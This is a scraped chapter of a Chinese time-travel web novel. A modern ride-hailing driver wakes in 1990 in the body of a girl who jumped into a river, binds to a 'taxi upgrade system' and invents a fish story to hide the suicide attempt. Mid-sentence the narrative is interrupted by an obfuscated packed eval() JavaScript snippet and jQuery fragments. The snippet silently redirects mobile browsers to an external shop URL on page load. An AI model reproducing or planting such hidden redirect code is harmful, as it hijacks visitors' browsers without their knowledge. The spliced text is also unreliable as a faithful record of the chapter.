文趣网 > 都市小说 > 在九零开出租的日子 > 1. 第 1 章
    姜颜挣开眼睛,看到雪白的天花板,心里不由涌起一股喜意:太好了,我没死!

    她记得自己凌晨完成最后一个单子后,回到小区,停好车走回家。

    走着走着就被不知道哪个杀千刀的邻居从楼上往下扔的东西给砸到了。

    倒地后,她在自己昏过去前强撑着用手表拨打她妈妈的电话,现在看来应该是拨通了。

    不等姜颜为自己母亲难得的靠谱感到庆幸,她视线一转,看到病房里的环境,那股幸运捡回一条命的喜悦瞬间又消散无踪。

    随之而来的是一股令人浑身发冷的悲凉将她全身浸透。

    病房里的老式日光灯管散发着冷光,装着铁制斜柄把手的老式绿漆木质门还有点掉漆了。

    床边的桌子看着像她小时候在乡下小学见过的、两个桌洞连着的书桌,桌上摆着同样特别有年代感的搪瓷缸子、铝饭盒、还有竹编外壳的暖水瓶。

    地面是水泥地。

    最离谱的是那上白下绿的墙面上印着的标语:‘计划生育好’、‘少生优生,幸福一生’。

    现在都什么年代了,计划生育标语不都改成催生标语了吗?

    这破诊所,连改掉上个世界的标语这点钱都舍不得花,可见条件有多么糟糕。

    病房的窗户是有插栓的外开木框玻璃窗。

    透过窗户可以看到外面的天色。

    天边刚泛起一点微微的亮光,距离她被高空抛物砸到应该只过了三四个小时。

    她醒来时,没有一个人在身边守着。

    姜颜此刻真想直接当面问问自己亲妈,自己到底是不是她亲生的。

    她怎么也想不到,自己亲妈为了省钱,竟然能在不知道哪个犄角旮旯里找到这么一个仿佛停留在上个世纪的破诊所!

    对自己女儿的生命轻视到了这种程度,看来什么难得的靠谱根本就是自己一厢情愿的幻想!

    为什么即使自己在爸爸半边身子偏瘫后承担起了养家的重担,还拼命挣钱请了住家保姆来分担照看病人的活,她也依然没学会重视自己?

    自己的命真就这么贱吗?

    再一次意识到自己不被重视,气愤之余,姜颜突然发现心里好像没有以前那么难过了。

    毕竟一直以来都是这样……

    她爸更重视他的父母和他的兄弟姐妹,尤其是他大哥,因为这一辈只有他大哥家得了个耀祖,他觉得他大哥家的耀祖是这一代的独苗,是他们老姜家的根。

    她妈则是个纯种扶弟魔,对表弟表妹们都比她好。

    这两口子以前觉得只生了一个女儿,完全不用攒太多钱,攒一点点够应急就行。

    挣的大部分钱,要么借给兄弟姐妹,要么自己挥霍了。

    直到她爸突发脑梗,半边身子偏瘫,他们攒的那丁点应急的钱根本不够用,他们才知道慌了。

    她爸生病后,她妈说要辞职在家照顾她爸。

    这原本也没什么,毕竟她妈工资也不如她多,发生这样的事,总得有个人在家照看病人。

    姜颜大学毕业后找的工作虽然工资不算太高,但是也可以覆盖家里的日常开销。

    而且这工作朝九晚五,平时不怎么需要加班,还有五险一金和双休,也算比较稳定。

    如果她爸妈能把借出去的钱要回来,用于给她爸治病和后续的复健。

    她每天下班后和周六周日,再搭把手照顾她爸,让她妈能轮班休息,两个人照顾一个人,日子应该也算过得去。

    然而现实一如既往地不如姜颜预想中的那样往好的方向发展。

    她妈辞职了没几天就在家里哼哼唧唧说累得慌,时不时又说这里不舒服、那里疼。

    去检查又查不出什么毛病,还爱拉着医生唠,恨不得从盘古开天辟地开始说起,去得多了医生见着她都无奈得忍不住叹气。

    而且她妈不但在家里哼哼唧唧,还喜欢到处找自己娘家人哭诉。

    姜颜因此被她妈娘家那些亲戚轮流打电话来数落了不少次。

    她后来都不接那些人的电话了,但禁不住她妈又把人叫到家里来。

    姜颜只好花钱请住家保姆,然后尽量减少在家待的时间,去外面拼了命地挣钱。

    她不但在下班后出去跑滴滴,周六周日也会去朋友的瑜伽馆当瑜伽教练挣点钱。

    在做这两个副业的同时,她还会拍下做副业的日常,在上班时抽空偷偷剪辑视频,运营一个自媒体账号。

    这三个副业挣的钱加起来,刚好够支付住家保姆的工资和她爸每个月的医药费、复健费。

    她主业的工资要用于日常开销。

    主业加上副业挣到的钱加起来,才勉强能把家里所有花销覆盖住,这让姜颜一刻都不敢放松。

    从她爸出院到现在,她已经坚持了一年多。

    此时,姜颜躺在病床上,盯着天花板看了半晌,深觉自己以前太窝囊。

    事实无数次告诉姜颜,父母都靠不住,她以后该多为自己考虑了。

    姜颜开始在心里计划着砍掉住家保姆那份花销,然后逼父母去找亲戚把借出去的钱要回来。

    吱呀一声,那扇掉漆的木门被人打开一人宽的门缝。

    姜芋以为她妈终于来了,转头面无表情地看向门口,见到来的人却是一愣。

    进来的是一个她不认识的小女孩。

    姜颜以为小女孩走错病房了,但对方见到她却露出欣喜的模样,很明显是认识她的。

    “你……”姜颜正要问女孩一点关于这个诊所的事。

    突然,一大段不属于自己的记忆涌入她的脑中,让她的脑袋一阵抽痛。

    同时姜颜眼前又出现一个看起来很高科技的面板,询问她是否同意绑定‘出租车升级系统’。

    而这个面板给她的选项只有两个,一个是【同意】,另一个【yes】。

    小女孩看到姜颜痛苦的样子,满脸焦急地跑进来:“姐,你怎么了?我、我这就去找医生阿姨来给你看看!”说着就要往外跑。

    姜颜一把拉住她:“不用!”

    疼痛来得快,去得也快。

    在姜颜接收完所有记忆,并且同意绑定‘出租车升级系统’后,痛感瞬间消失无踪。

    她现在已经完全清楚了自己的处境。

    活了又没活回去的姜颜此时心情很复杂。

    一个习惯了现代生活的便利、离不开互联网且手机电量掉到百分之六十以下都会焦虑的人,竟然来到了1990年,真不好说这算是幸运还是不幸。

    但是不知道怎么的,她想到现代的自己也许已经死了这一点时,心里竟然诡异地感到有一丝丝的畅快和轻松。

    这让姜颜在做出‘既来之则安之’这个决定时,完全没有什么心理压力。

    毕竟来都来了,她也没有勇气像原身一样自绝,试试看自己能不能再回去,那只能就这样了。

    原身也叫姜颜,长得跟她一模一样。

    不过原身是跳.河没的。

    原身有个执念,那就是想留下她爸去世前开的那辆车。

    但她又无力改变长辈的决定,所以这件事也在家里发生一系列变故后,成为了压垮她的最后一根稻草。

    “姐,你真没事了?”小女孩看着她,满眼都是关心。

    姜颜已经知道这小女孩现在是自己妹妹。

    因为父母的关系,她对兄弟姐妹的观感一直很不好,但赶得到的新鲜记忆告诉她,面前这个跟那些不一样。

    姜颜虽然有点不自在,却还是扯动干燥的嘴唇艰难地露出个笑来:“真没事了,不信你找个体温针来给我量量看是不是退烧了?”

    同意绑定系统还是有点福利的。

    她身上比较严重的症状都消失了,现在的身体只有一点生病痊愈后的虚弱,回去多吃几顿好的,多休息休息,稍微养几天就好了。

    “姐,你等等,我这就去找大夫拿体温针!”

    小女孩说完跑出去,过了一会儿,不但把体温针带回来,还把医生也一起带回来了。

    医生给姜颜做了检查后说:“你恢复能力很强,现在已经没什么大碍了,好好休息一晚上,明天就能让你奶奶去给你办理出院手续,你现在还年轻,回去后好好修养几天就能养回来,可千万别再想不开了。”

    “您可能听到什么不实传言误会了,其实我没想寻短见。”

    姜颜不想让自己跟寻短见挂钩,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939667|213863||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这会让人以为她的精神状况不好、情绪不稳定。

    不然以后一遇到什么事,别人就会下意识地往她情绪方面想,先入为主地认为她情绪不稳定,没法沟通、做不了主,让她失权更严重。

    医生很意外,不过她仔细想了想,这姑娘寻短见的话,她确实是从别人嘴里听来的,不是这姑娘亲口说的,因为她才刚醒。

    不过那么说的那些人是送这姑娘来的人,所以她就信了。

    “那你怎么掉河里去了?”

    姜颜:“我在河边溜达,见到离岸边特别近的地方有一条鱼,这么大!”她比划了一下,“看着得有八九斤吧,它就在那儿呆呆地张着嘴,感觉一伸手就能逮住,捞回去放点豆腐一去炖了,我们一家子能吃两三顿!这谁见了能放过?”

    这年代医生也是有点迷信在身上,忙说:“你下次可别这样了,有些大鱼就是故意引人下水的,你看着它好抓,人一过去,它就游远了,然后又回来一点,让人以为下水能抓到,等回过神来就晚了!”

    “可不是么!”姜颜故作激动地双手一拍,“我当时就是这么被引下去的!想上岸的时候,脚下一滑,就摔倒了,我可是会水的人,竟然怎么挣扎都起不来,感觉有东西拉我似的!”

    她们俩说得起劲,却把站在旁边听的小女孩吓到了:“姐,会不会是水猴子在下面拽你?”她说着被自己的话吓得紧紧抱住姜颜的胳膊。

    姜颜没跟人这么亲近过,下意识想抽出手,又想起自己现在的身份,硬生生忍住了甩开她的冲动。

    “这可不好说,我以后肯定不会去那边了,秀秀,你也少往河边去。”

    秀秀忙不迭地点头:“我以后也不去了!”

    晚上原身奶奶没来,是妹妹姜秀陪着姜颜在医院过夜。

    两人挤在一张病床上,姜颜依然感觉不太习惯,但也许是接收了原身的记忆,对姜秀印象不错,所以并不排斥。

    早上原身奶奶王碧兰一手抱着原身两岁的弟弟蒋伟,一手拿着饭盒进来。

    “刚刚我在外面碰见给你看病的医生,医生说今天就能给你办出院了,你觉着怎么样了?”

    姜颜点头:“办吧,这事昨天医生也跟我说了,在医院多待一天就要多花一天的钱,我爸没了,我妈又走了,家里现在也没个进项,能省一点是一点,我回家再歇几天就行。”

    王碧兰仔细看了姜颜几眼,确认她神色没有异样,不像前几天,阴沉沉的挂着脸,跟谁欠了她八百万似的,这会儿神色平和,看起来确实是想开了。

    王碧兰刚放下心,又忍不住念叨起来:“你说你也真是,明知道现在家里的情况不太好,还闹这一出,你到底怎么想的,好端端的跳什么河呀!我年纪也大了,到了我这年纪,说不准哪天脚一蹬就没了,你弟弟妹妹还小,万一你真出点什么事,以后他俩可怎么办呢?”

    姜颜还没说话,姜秀就急忙告诉她:“奶奶,我姐不是跳河,她是遇上水猴子派来勾引人的大鱼了!”

    王碧兰听懵了:“什么水猴子、大鱼的,我怎么听不明白?”

    姜秀立刻绘声绘色地跟她说起自己昨晚刚听到的新鲜恐怖故事。

    小孩子复述起故事来,总是喜欢加上一些自己的幻想,还说得跟真的一样,给王碧兰听得一愣一愣的。

    姜颜在旁边听着,不反驳也不纠正,等回家后,有这个‘小喇叭’在家附近一通宣传,其他人肯定就不会把她跟寻短见挂钩了。

    王碧兰听姜秀说完后浑身寒毛直竖。

    这时候,姜颜神秘兮兮地凑近她,用带着颤抖与惶恐的声音,压低音量说:“奶奶,你觉得这会不会有可能是我爸不舍得我或者他一个人在那边太孤单了,想把我一起带去?”

    王碧兰被姜颜的话吓得心肝一颤,色厉内荏地道:“不许瞎说!你爷爷在底下陪着他呢,还能让他孤单?他以前跟你妈感情好,要带也是带她走!对,带也是先带她!

    你别瞎想了,回去好好歇几天,趁着年底,你也带点东西去拜访一下你们学校的老师和领导,问问人家你的工作是怎么安排的,可千万别让人把你分配到什么千远万远的小地方去,要不以后家里有点什么事,你赶回来都赶不及!”